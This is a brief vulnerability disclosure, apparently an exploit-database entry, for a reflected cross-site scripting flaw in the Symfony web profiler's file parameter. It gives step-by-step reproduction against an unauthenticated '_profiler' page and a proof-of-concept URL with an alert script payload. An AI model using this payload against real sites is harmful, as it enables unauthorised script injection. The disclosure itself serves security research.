1. Description

Symfony is a set of PHP Components, a Web Application framework, a Philosophy, and a Community — all working together in harmony. (Copied from homepage.)

2. Proof of Concept

1. Navigate to http://www.example.com/_profiler/ , by default the credential is not required to access this component.
2. Insert any non-existence path in the website for example, a random path is "http://www.example.com/qwertyuio".
3. In the Symfony profiler navigate to the row with HTTP response code "404" and click to the "Token" link in page.
4. Go to Exception pane and follow the any link in the page e.g. "vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/RouterListener.php"
5. Inject <script>alert("XSS")</script> into "file" parameter , the PoC exploit will be "http://www.example.com/_profiler/open?file=<script>alert("XSS")</script>".
